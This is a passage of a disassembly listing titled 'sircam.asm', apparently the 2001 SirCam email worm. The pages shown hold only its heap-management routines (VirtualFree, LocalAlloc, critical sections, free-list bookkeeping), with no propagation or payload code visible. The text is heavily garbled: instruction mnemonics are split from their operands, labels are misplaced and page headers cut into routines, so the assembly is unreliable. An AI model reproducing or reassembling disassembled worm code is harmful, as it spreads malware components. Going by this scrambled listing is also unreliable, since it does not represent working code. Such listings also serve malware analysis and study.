jbe push sub push push call test jnz mov ; CODE XREF: sub_401644+49\030j edi, ebx short loc_4016B1 4000h edi, ebx edi ebx j_VirtualFree eax, eax short loc_4016B1 ds:dword_41E42C, 2 loc_40168B: ; CODE XREF: sub_401644+42\030j loc_401691: loc_4016B1: ; CODE XREF: sub_401644+4F\030j ; sub_401644+61\030j mov loc_4016B3: sub_401644 cmp jnz pop pop pop pop pop retn endp esi, [esi] ; CODE XREF: sub_401644+35\030j esi, offset dword_41E450 short loc_40167B edx ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4016C4 proc near ; CODE XREF: sub_401E58+B\031p sircam.asm var_8 Fri Aug 10 12:42:44 2001 13 = dword ptr -8 push push push push add mov mov mov add and ebx esi edi ebp esp, esi, edi, ebp, edi, edi, 0FFFFFFF8h edx eax offset unk_41E460 3FFFh 0FFFFC000h loc_4016E0: ; CODE XREF: sub_4016C4+75\031j mov ebx, [ebp+0] jmp short loc_401718 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4016E5: ; CODE XREF: sub_4016C4+56\031j cmp edi, [ebx+0Ch] jg short loc_401716 mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_4015B0 cmp dword ptr [esi], 0 jz short loc_40174B mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_40174B mov eax, ebx call sub_401300 jmp short loc_40174B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401716: ; CODE XREF: sub_4016C4+24\030j mov ebx, [ebx] cmp jnz mov mov call cmp jz mov mov mov call cmp jnz mov mov mov call xor mov ; CODE XREF: sub_4016C4+1F\030j ebx, ebp short loc_4016E5 edx, esi eax, edi sub_40141C dword ptr [esi], 0 short loc_40174B ecx, esp edx, esi eax, ebp sub_401318 [esp+8+var_8], 0 short loc_4016E0 ecx, esp edx, [esi+4] eax, [esi] sub_4014F8 eax, eax [esi], eax loc_401718: loc_40174B: ; CODE XREF: sub_4016C4+35\030j ; sub_4016C4+47\030j ... pop pop pop pop pop ecx edx ebp edi esi sircam.asm sub_4016C4 Fri Aug 10 12:42:44 2001 pop retn endp 14 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401754 proc near var_14 var_10 var_C var_8 = = = = dword dword dword dword push push push push add mov mov mov mov add and ptr ptr ptr ptr ; CODE XREF: sub_401E84+10\031p -14h -10h -0Ch -8 ebx esi edi ebp esp, 0FFFFFFECh [esp+14h+var_14], ecx edi, edx esi, eax ebp, offset unk_41E460 edi, 3FFFh edi, 0FFFFC000h loc_401773: ; CODE XREF: sub_401754+6C\031j ; sub_401754+B3\031j mov ebx, [ebp+0] jmp short loc_40177A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401778: ; CODE XREF: sub_401754+2D\031j mov ebx, [ebx] cmp jz cmp jnz ebx, ebp short loc_401783 esi, [ebx+8] short loc_401778 cmp jnz cmp jle lea mov sub mov add call cmp jz lea lea mov call cmp jnz lea mov mov call mov xor mov ; CODE XREF: sub_401754+28\030j esi, [ebx+8] short loc_4017DF edi, [ebx+0Ch] loc_401827 ecx, [esp+14h+var_10] edx, edi edx, [ebx+0Ch] eax, [ebx+8] eax, [ebx+0Ch] sub_401480 [esp+14h+var_10], 0 short loc_4017DF ecx, [esp+14h+var_8] edx, [esp+14h+var_10] eax, ebp sub_401318 [esp+14h+var_8], 0 short loc_401773 ecx, [esp+14h+var_8] edx, [esp+14h+var_C] eax, [esp+14h+var_10] sub_4014F8 eax, [esp+14h+var_14] edx, edx [eax], edx loc_40177A: ; CODE XREF: sub_401754+22\030j loc_401783: sircam.asm Fri Aug 10 12:42:44 2001 15 jmp loc_40186F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4017DF: ; CODE XREF: sub_401754+32\030j ; sub_401754+56\030j lea ecx, [esp+14h+var_10] mov edx, edi mov eax, esi call sub_401480 cmp [esp+14h+var_10], 0 jz short loc_401827 lea ecx, [esp+14h+var_8] lea edx, [esp+14h+var_10] mov eax, ebp call sub_401318 cmp [esp+14h+var_8], 0 jnz loc_401773 lea ecx, [esp+14h+var_8] mov edx, [esp+14h+var_C] mov eax, [esp+14h+var_10] call sub_4014F8 mov eax, [esp+14h+var_14] xor edx, edx mov [eax], edx jmp short loc_40186F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401827: ; CODE XREF: sub_401754+37\030j ; sub_401754+9D\030j mov ebp, [ebx+8] cmp esi, ebp jnz short loc_401868 cmp edi, [ebx+0Ch] jg short loc_401868 mov ecx, [esp+14h+var_14] mov edx, edi mov eax, ebp call sub_4015B0 mov eax, [esp+14h+var_14] cmp dword ptr [eax], 0 jz short loc_40186F mov eax, [esp+14h+var_14] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+14h+var_14] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_40186F mov eax, ebx call sub_401300 jmp short loc_40186F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401868: mov xor mov ; CODE XREF: sub_401754+D8\030j ; sub_401754+DD\030j eax, [esp+14h+var_14] edx, edx [eax], edx loc_40186F: sub_401754 ; CODE XREF: sub_401754+86\030j ; sub_401754+D1\030j ... add pop pop pop pop retn endp esp, 14h ebp edi esi ebx sircam.asm Fri Aug 10 12:42:44 2001 16 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401878 proc near var_14 var_10 var_C var_8 var_4 = = = = = dword dword dword dword dword push push push add mov mov lea and mov add and cmp jnb mov mov sub mov call lea mov mov call mov test jz lea mov mov call mov mov mov mov ptr ptr ptr ptr ptr ; CODE XREF: sub_401C60+40\031p ; sub_401C60+51\031p -14h -10h -0Ch -8 -4 ebx esi edi esp, 0FFFFFFECh edi, ecx [esp+14h+var_14], edx ebx, [eax+3FFFh] ebx, 0FFFFC000h esi, [esp+14h+var_14] esi, eax esi, 0FFFFC000h ebx, esi short loc_4018F9 ecx, edi edx, esi edx, ebx eax, ebx sub_401644 ecx, [esp+14h+var_10] edx, edi eax, offset unk_41E460 sub_401318 ebx, [esp+14h+var_10] ebx, ebx short loc_4018E2 ecx, [esp+14h+var_8] edx, [esp+14h+var_C] eax, ebx sub_4014F8 eax, [esp+14h+var_8] [esp+14h+var_10], eax eax, [esp+14h+var_4] [esp+14h+var_C], eax loc_4018E2: ; CODE XREF: sub_401878+49\030j cmp [esp+14h+var_10], 0 jz short loc_4018FD lea edx, [esp+14h+var_10] mov eax, offset unk_41E460 call sub_40138C jmp short loc_4018FD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4018F9: ; CODE XREF: sub_401878+24\030j xor mov eax, eax [edi], eax loc_4018FD: sub_401878 ; CODE XREF: sub_401878+6F\030j ; sub_401878+7F\030j add pop pop pop retn endp esp, 14h edi esi ebx sircam.asm Fri Aug 10 12:42:44 2001 17 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_401904 proc near push mov xor push push push mov push call cmp jz push call ebp ebp, esp edx, edx ebp offset loc_4019BA dword ptr fs:[edx] fs:[edx], esp offset unk_41E430 j_InitializeCriticalSection ds:byte_41E041, 0 short loc_401932 offset unk_41E430 j_EnterCriticalSection mov call mov call mov call push push call mov cmp jz mov ; CODE XREF: sub_401904+22\030j eax, offset dword_41E450 sub_4012C8 eax, offset unk_41E460 sub_4012C8 eax, offset dword_41E48C sub_4012C8 0FF8h 0 j_LocalAlloc ds:dword_41E488, eax ds:dword_41E488, 0 short loc_401999 eax, 3 mov xor mov inc cmp jnz mov mov mov mov mov ; CODE XREF: sub_401904+7D\031j edx, ds:dword_41E488 ecx, ecx [edx+eax*4-0Ch], ecx eax eax, 401h short loc_40196F eax, offset unk_41E470 [eax+4], eax [eax], eax ds:dword_41E47C, eax ds:byte_41E428, 1 xor pop pop pop mov push ; CODE XREF: sub_401904+64\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4019C1 cmp jz push call ; CODE XREF: CODE:004019BF\031j ds:byte_41E041, 0 short locret_4019B9 offset unk_41E430 j_LeaveCriticalSection loc_401932: loc_40196F: loc_401999: loc_4019A6: locret_4019B9: sub_401904 ; CODE XREF: sub_401FD8+14\031p ; sub_402160+19\031p ... ; CODE XREF: sub_401904+A9\030j retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 18 loc_4019BA: ; DATA XREF: sub_401904+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4019A6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4019C1: mov pop retn ; DATA XREF: sub_401904+9D\030o al, ds:byte_41E428 ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4019C8 proc near ; CODE XREF: sub_405818+2D\031p push ebp mov ebp, esp push ebx cmp ds:byte_41E428, 0 jz loc_401AA5 xor edx, edx push ebp push offset loc_401A9E push dword ptr fs:[edx] mov fs:[edx], esp cmp ds:byte_41E041, 0 jz short loc_4019FA push offset unk_41E430 call j_EnterCriticalSection loc_4019FA: ; CODE XREF: sub_4019C8+26\030j mov ds:byte_41E428, 0 mov eax, ds:dword_41E488 push eax call j_LocalFree xor eax, eax mov ds:dword_41E488, eax mov ebx, ds:dword_41E450 jmp short loc_401A2D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401A1B: ; CODE XREF: sub_4019C8+6B\031j push push mov push call mov 8000h 0 eax, [ebx+8] eax j_VirtualFree ebx, [ebx] cmp jnz mov call mov call mov call mov test jz ; CODE XREF: sub_4019C8+51\030j ebx, offset dword_41E450 short loc_401A1B eax, offset dword_41E450 sub_4012C8 eax, offset unk_41E460 sub_4012C8 eax, offset dword_41E48C sub_4012C8 eax, ds:dword_41E448 eax, eax short loc_401A73 mov mov push call mov test ; CODE XREF: sub_4019C8+A9\031j edx, [eax] ds:dword_41E448, edx eax j_LocalFree eax, ds:dword_41E448 eax, eax loc_401A2D: loc_401A5C: sircam.asm Fri Aug 10 12:42:44 2001 19 jnz short loc_401A5C xor pop pop pop mov push ; CODE XREF: sub_4019C8+92\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_401AA5 cmp jz push call ; CODE XREF: sub_4019C8+DB\031j ds:byte_41E041, 0 short loc_401A93 offset unk_41E430 j_LeaveCriticalSection loc_401A73: loc_401A80: loc_401A93: ; CODE XREF: sub_4019C8+BF\030j push offset unk_41E430 call j_DeleteCriticalSection retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401A9E: ; DATA XREF: sub_4019C8+14\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_401A80 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401AA5: sub_4019C8 ; CODE XREF: sub_4019C8+B\030j ; DATA XREF: sub_4019C8+B3\030o pop pop retn endp ebx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401AA8 proc near ; CODE XREF: sub_401BB8+61\031p ; sub_401C28+23\031p ... push cmp jnz mov mov ebx eax, ds:dword_41E47C short loc_401ABA edx, [eax+4] ds:dword_41E47C, edx mov mov cmp jg cmp jnz test jns add edx, [eax+4] ecx, [eax+8] ecx, 1000h short loc_401B00 eax, edx short loc_401AE3 ecx, ecx short loc_401AD3 ecx, 3 loc_401ABA: ; CODE XREF: sub_401AA8+7\030j loc_401AD3: ; CODE XREF: sub_401AA8+26\030j sar ecx, 2 mov eax, ds:dword_41E488 xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_401B07 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401AE3: ; CODE XREF: sub_401AA8+22\030j test jns add ecx, ecx short loc_401AEA ecx, 3 sircam.asm Fri Aug 10 12:42:44 2001 20 loc_401AEA: ; CODE XREF: sub_401AA8+3D\030j sar ecx, 2 mov ebx, ds:dword_41E488 mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401B00: ; CODE XREF: sub_401AA8+1E\030j mov mov mov eax, [eax] [edx], eax [eax+4], edx pop retn endp ebx loc_401B07: sub_401AA8 ; CODE XREF: sub_401AA8+39\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401B0C proc near ; CODE XREF: sub_401C60+D\031p mov edx, ds:dword_41E48C jmp short loc_401B24 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401B14: ; CODE XREF: sub_401B0C+1E\031j mov cmp jb add cmp jb ecx, [edx+8] eax, ecx short loc_401B22 ecx, [edx+0Ch] eax, ecx short loc_401B38 mov edx, [edx] cmp jnz mov xor ; CODE XREF: sub_401B0C+6\030j edx, offset dword_41E48C short loc_401B14 ds:dword_41E42C, 3 edx, edx loc_401B22: ; CODE XREF: sub_401B0C+D\030j loc_401B24: loc_401B38: sub_401B0C ; CODE XREF: sub_401B0C+14\030j mov retn endp eax, edx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401B3C proc near push mov sub lea cmp jl mov ; CODE XREF: sub_401C60+67\031p ; sub_401DCC+68\031p ebx ecx, edx ecx, 4 ebx, [ecx+eax] edx, 10h short loc_401B59 dword ptr [ebx], 80000007h sircam.asm Fri Aug 10 12:42:44 2001 21 mov edx, ecx call sub_401CF8 pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401B59: ; CODE XREF: sub_401B3C+C\030j cmp jl mov or mov mov edx, 4 short loc_401B6A ecx, edx ecx, 80000002h [eax], ecx [ebx], ecx pop retn endp ebx loc_401B6A: sub_401B3C ; CODE XREF: sub_401B3C+20\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401B6C proc near sub_401B6C inc mov sub mov and sub add call retn endp ; CODE XREF: sub_401B90+D\031p ; sub_401D80+36\031p ... ds:dword_41E41C edx, eax edx, 4 edx, [edx] edx, 7FFFFFFCh edx, 4 ds:dword_41E420, edx sub_402160 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401B90 proc near ; CODE XREF: sub_401C60+81\031p cmp edx, 0Ch jl short loc_401BA3 or edx, 2 mov [eax], edx add eax, 4 call sub_401B6C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401BA3: ; CODE XREF: sub_401B90+3\030j cmp jl mov or mov loc_401BB2: sub_401B90 add and retn endp edx, 4 short loc_401BB2 ecx, edx ecx, 80000002h [eax], ecx ; CODE XREF: sub_401B90+16\030j eax, edx dword ptr [eax], 0FFFFFFFEh ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401BB8 proc near ; CODE XREF: sub_401DCC+36\031p sircam.asm Fri Aug 10 12:42:44 2001 push push mov sub mov mov and cmp jz mov ebx esi edx, eax edx, 4 edx, [edx] ecx, edx ecx, 80000002h ecx, 80000002h short loc_401BDB ds:dword_41E42C, 4 mov and sub mov xor test jz mov ; CODE XREF: sub_401BB8+17\030j ebx, edx ebx, 7FFFFFFCh eax, ebx ecx, eax edx, [ecx] edx, 0FFFFFFFEh short loc_401BFB ds:dword_41E42C, 5 test jz mov sub mov sub cmp jz mov ; CODE XREF: sub_401BB8+37\030j byte ptr [ecx], 1 short loc_401C20 edx, eax edx, 0Ch esi, [edx+8] eax, esi esi, [eax+8] short loc_401C19 ds:dword_41E42C, 6 call add sub_401AA8 ebx, esi mov pop pop retn endp eax, ebx esi ebx loc_401BDB: loc_401BFB: loc_401C19: ; CODE XREF: sub_401BB8+55\030j loc_401C20: sub_401BB8 22 ; CODE XREF: sub_401BB8+46\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401C28 proc near ; CODE XREF: sub_401DCC+4F\031p push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_401C43 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_401C43: ; CODE XREF: sub_401C28+E\030j test jnz mov mov call mov al, 2 short loc_401C5A esi, ebx eax, esi sub_401AA8 eax, [esi+8] sircam.asm Fri Aug 10 12:42:44 2001 add add and edi, eax ebx, eax dword ptr [ebx], 0FFFFFFFEh mov pop pop pop retn endp eax, edi edi esi ebx loc_401C5A: sub_401C28 23 ; CODE XREF: sub_401C28+1D\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401C60 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push push push push add mov mov mov call mov mov mov add mov lea sub cmp jg mov sub ; CODE XREF: sub_401CF8+61\031p ebx esi edi ebp esp, 0FFFFFFF8h edi, edx esi, eax eax, esi sub_401B0C ebx, eax ebp, [ebx+8] eax, ebp eax, [ebx+0Ch] edx, eax ecx, [edi+esi] edx, ecx edx, 0Ch short loc_401C8C edi, eax edi, esi loc_401C8C: ; CODE XREF: sub_401C60+26\030j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_401CA7 mov ecx, esp mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_401878 jmp short loc_401CB6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401CA7: ; CODE XREF: sub_401C60+33\030j mov mov sub lea call loc_401CB6: ecx, esp edx, edi edx, 4 eax, [esi+4] sub_401878 ; CODE XREF: sub_401C60+45\030j mov ebp, [esp+8+var_8] test ebp, ebp jnz short loc_401CC1 xor eax, eax jmp short loc_401CF1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_401CC1: mov sub mov call mov add mov add cmp jnb lea sub call ; CODE XREF: sub_401C60+5B\030j edx, ebp edx, esi eax, esi sub_401B3C eax, ebp eax, [esp+8+var_4] edx, [ebx+8] edx, [ebx+0Ch] eax, edx short loc_401CE6 edx, [edi+esi] edx, eax sub_401B90 mov mov call mov edx, esp eax, ebx sub_40138C al, 1 pop pop pop pop pop pop retn endp ecx edx ebp edi esi ebx loc_401CE6: ; CODE XREF: sub_401C60+7A\030j loc_401CF1: sub_401C60 24 ; CODE XREF: sub_401C60+5F\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401CF8 proc near push push push mov mov mov mov mov add sub mov cmp jg mov test jns add ; CODE XREF: sub_401B3C+16\030p ; sub_401EE4+BB\031p ... ebx esi edi esi, edx edi, eax ebx, edi [ebx+8], esi eax, ebx eax, esi eax, 0Ch [eax+8], esi esi, 1000h short loc_401D4D edx, esi edx, edx short loc_401D1F edx, 3 loc_401D1F: ; CODE XREF: sub_401CF8+22\030j sar edx, 2 mov eax, ds:dword_41E488 mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_401D3F mov eax, ds:dword_41E488 mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_401D79 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401D3F: ; CODE XREF: sub_401CF8+35\030j sircam.asm Fri Aug 10 12:42:44 2001 25 mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_401D79 ; 